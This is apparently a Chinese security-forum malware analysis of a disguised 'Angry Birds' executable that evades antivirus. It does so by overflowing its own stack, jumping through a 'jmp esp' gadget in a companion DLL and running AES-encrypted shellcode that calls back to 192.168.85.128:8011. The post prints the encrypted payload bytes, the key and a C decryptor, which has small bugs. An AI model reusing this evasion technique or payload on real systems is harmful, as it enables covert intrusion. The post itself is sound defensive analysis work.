问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
一个可以免杀国内主流杀软的恶意样本分析
渗透测试
本文细探讨了一种能够免杀国内所有杀软的恶意程序及其取证过程,全程取证过程在vmware虚拟机里进行并隔离断网
目录下存在愤怒的小鸟.exe和fun.dll文件,最新版火绒,windows defender,腾讯电脑管家,360静态扫描都未发现恶意程序 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-d69550e97839beb6e1bd03aea245e0f8b5d6a20b.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-8d3fb73df0bad9716162c60466b86aa04a230f6e.png) 动态执行,杀软也未拦截 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-62ccb0cef13916f201fd346f4a646b7b110ecc17.png) 上传到virustotal网站分析恶意程序,只有三个引擎检测出来 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-be6ef33471e5b1d2675773779c147004628d5fcf.png) die分析恶意程序,未加壳,32位PE程序 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-ff6c4ec96f3852c9fbede1e24563ffd3c201fab7.png) 将恶意程序导入ida pro进行静态分析 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-3d8438a09d0aea38c2bd01620528a866991178b1.png) 程序主函数伪代码很少,没有常见恶意程序使用的函数,首先程序往v15变量里导入了2012个A字符 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-7f6b73391d3c61340a44f8192a5f933422caaab6.png) 然后定义了一个地址,通过查询,这个地址并未在当前程序中 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-511684bf7798969ea6ae044cdc82f9830d67d96b.png) 然后往v10变量里放入了很多0x90,0x90是汇编指令中的nop指令,NOP 指令(No Operation)是一种在计算机汇编语言中常见的指令,它的作用是不执行任何操作,即空操作 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-31c9b3450c14309a7fc086027d79b4947a914c60.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-247df46671d1f52edfad8b10a082489b899743da.png) 然后往pbData变量里传入了一串值,根据后面的分析,这一串值是解密shellcode的key ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-c342f392363ec46b6405b80cab0d1699a01de1c5.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-185658a5573aab795f9496832d2a66879ce28ce7.png) v6,v8里的值就是payload ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-72ac3a3480748aa1000110d88b6244f382fb930d.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-f03746f8378d22e5531579fbc770da9b50bf6549.png) 这里程序调用了memcpy函数,拼接字符,并且是将payload拼接到了其中 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-e735948630bcf7adaf7042d2ade6c4d478eb62e8.png) 调用了\_\_i3b\_D2函数,将密钥和payload都导入了其中,是解密payload的函数 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-8f1423dd047cdcfe56ab2d833726d874f4781aad.png) aes的解密方式,说明payload是经过aes加密过的 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-f5b3df721628155841ca6ec74284d5e147d5e371.png) 然后将一大串nop指令和payload用memcpy函数copy到指定的变量里,最后调用了Function函数 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-551577d12ebd95521c4e31143048d643174d8539.png) 只有一个strcpy函数 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-ead5533894f7c06bc6ac960ec4d8f2c16c06d95a.png) 程序主要的代码就这么多,还不知如何绕过杀软执行上线的 使用pe-bear分析程序 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-35034f0383fa9f98498d9b9c836544e9245857ce.png) 导入了四个dll库,其中ADVAPI32.DLL,KENNEL32.DLL,msvcrt.dll都是程序编译时,系统自动绑定的dll,只有fun.dll是第三方dll,用ida分析fun.dll 找到exe程序中定义的地址,是一个jmp esp指令 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-65d088b323f93468c7ca682aab90485d8b05fb5a.png) 这个dll的代码只有jmp esp这一个功能 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-4237584cf1eaeca7570a8deb8bb6dcab21fbaedd.png) 从程序里导出shellcode后解密 ```php #include <windows.h> #include <string.h> #include <stdlib.h> #include <stdio.h> #include <wincrypt.h> #pragma comment (lib, "crypt32.lib") void aes_de(char* code, DWORD codeLen, char* key, DWORD keyLen) { HCRYPTPROV hProv; HCRYPTHASH hHash; HCRYPTKEY hKey; if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) { return; } if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) { return; } if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) { return; } if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) { return; } if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)code, &codeLen)) { return; } CryptReleaseContext(hProv, 0); CryptDestroyHash(hHash); CryptDestroyKey(hKey); } int main(int argc, char *argv[]) { unsigned char payload[] = { 0xc1, 0x0, 0xfa, 0xed, 0x2, 0xda, 0xf5, 0xa6, 0xfb, 0xbc, 0xea, 0xe1, 0x48, 0xe0, 0xd2, 0x84, 0xaf, 0xe2, 0x42, 0xcd, 0x37, 0x43, 0xa5, 0xa9, 0x8c, 0x1e, 0xb7, 0xa5, 0x33, 0xc1, 0xde, 0x2c, 0x24, 0x84, 0xdf, 0x1c, 0xea, 0xcc, 0x34, 0xc4, 0x8, 0x56, 0xab, 0xa, 0xbf, 0xfc, 0x71, 0x25, 0x3, 0x41, 0x62, 0x28, 0x1a, 0xb5, 0x10, 0x39, 0xa2, 0xc4, 0xf5, 0x4e, 0x96, 0xb7, 0x66, 0x21, 0xb, 0x47,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, 0x92, 0x46, 0x2d, 0xc7, 0xd7, 0x90, 0xe, 0x36, 0x98, 0x20, 0x87, 0x47, 0xfe, 0x3d, 0x59, 0x24, 0x41, 0x4b, 0x6e, 0x73, 0x78, 0x86, 0xb8, 0xed, 0x9a, 0x46, 0xb9, 0x4d, 0xf1, 0x7a, 0xc4, 0xc2, 0x32, 0x71, 0xfa, 0x1c, 0xd7, 0xd9, 0xa3, 0x38, 0x48, 0xe6, 0xab, 0x5e, 0x1f, 0x93, 0x4b, 0xa6, 0x57, 0xd3, 0x8e, 0x20, 0x17, 0x79, 0x34, 0xc5, 0x35, 0xcc, 0xa5, 0xa9, 0x2c, 0x1a, 0x7f, 0xc3, 0x89, 0xfb, 0x66, 0xd7, 0x8e, 0x1b, 0xaf, 0xea, 0x0, 0x28, 0xa9, 0xdc, 0x1b, 0x18, 0xca, 0xb8, 0x78, 0x45, 0x31, 0x4c, 0x53, 0xfd, 0x78, 0x79, 0x89, 0xd8, 0x99, 0x3b, 0x1b, 0xf6, 0x65, 0xf6, 0x44, 0xf7, 0x39, 0x6c, 0x48, 0xb0, 0x5e, 0x48, 0xb0, 0xbe, 0x32, 0xc1, 0xb1, 0x17, 0x2a, 0x51, 0x6e, 0x9f, 0x8d, 0xe7, 0x3a }; unsigned char key[] = { 0xed, 0x39, 0x56, 0x67, 0xcd, 0x62, 0xf7, 0x91, 0x62, 0xb, 0x85, 0x53, 0x9b, 0x17, 0xae, 0xc9 }; DWORD code_length = sizeof(payload); aes_de((char*)code, code_length, key, sizeof(key)); printf(payload); ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-dc20c874e0cc9e9f605c6ba6fbcac207365d6e70.png) 使用scdbg分析shellcode,发现shellcode外连了一个ip,192.168.85.128,端口为8011,根据上面的浏览器http流量头,可以知道恶意程序使用的payload是msf或者cs生成的http payload ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-d9510e3bc24668be70204856f83f88fb0ed6a41f.png) 动态分析exe,使用System Informer监听后台,发现程序并没有启动其他的子程序 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-ed3228e52ecfd02fb3dff9fb3798eaf03eb65581.png) 执行程序,在0x62501443地址处打一个断点 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-ebb604301150d8bc66acc4f33b4adf32d969e595.png) 用xdbg调试程序,运行到程序入口处 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-1afc524b82c108b378285dd11fddc97ea45cfc49.png) F8一步一步查看程序,在下面程序跳转到了0x401658地址处 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-f633fdd3e443b7272fd996f2ab3519352aa7eb07.png) 在执行了memset函数时,堆栈里都被A覆盖了 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-3b623278c7e704e643251b23e8f654b228fbdced.png) 这里本来是要跳转到0x4017c6地址处的,但是直接跳转到了jmp esp指令地址处,程序被栈溢出后控制了返回地址 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-7f1fdada3e0d8c26c772c84aa423bb2c4182d166.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-feca5021053b328ccda47451b7123316e2fd815b.png) 执行jmp esp后,首先是一长串的NOP指令 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-e74c2e6bfe4938c253f53e48032b992d0e76cd00.png) nop指令后面的就是aes解密后的payload指令 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-b17f68cfc20c03e564c2faef2aea9f18fcbc8d78.png) 现在知道了程序的执行流,恶意程序设置了一个存在栈溢出的函数,然后用strcpy函数触发栈溢出攻击,将jmp esp指令放到dll库里是为了固定指令地址,在不同环境上稳定运行,这里放上一个程序执行流程图 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-845fe57983fa81b437d02e8585f39acadc699454.png) 通过流量监控,也找到恶意程序外连ip 192.168.85.128 端口8011 ![image.png](https://shs3.b.qianxin.com/attack_forum/2024/12/attach-300c1175731dfb8a9244b5386098bcd06cf28992.png) scdbg工具下载地址: ```php http://sandsprite.com/blogs/index.php?uid=7&pid=152 ```
发表于 2025-01-08 09:30:01
阅读 ( 763 )
分类:
二进制
0 推荐
收藏
2 条评论
cxaqhq
4天前
相当于没有直接调用函数执行
请先
登录
后评论
cxaqhq
4天前
好奇不同操作系统上溢出之后的地址是一样的吗?Linux 有地址随机化啥的,Widnows上呢?
请先
登录
后评论
请先
登录
后评论
cike_y
8 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!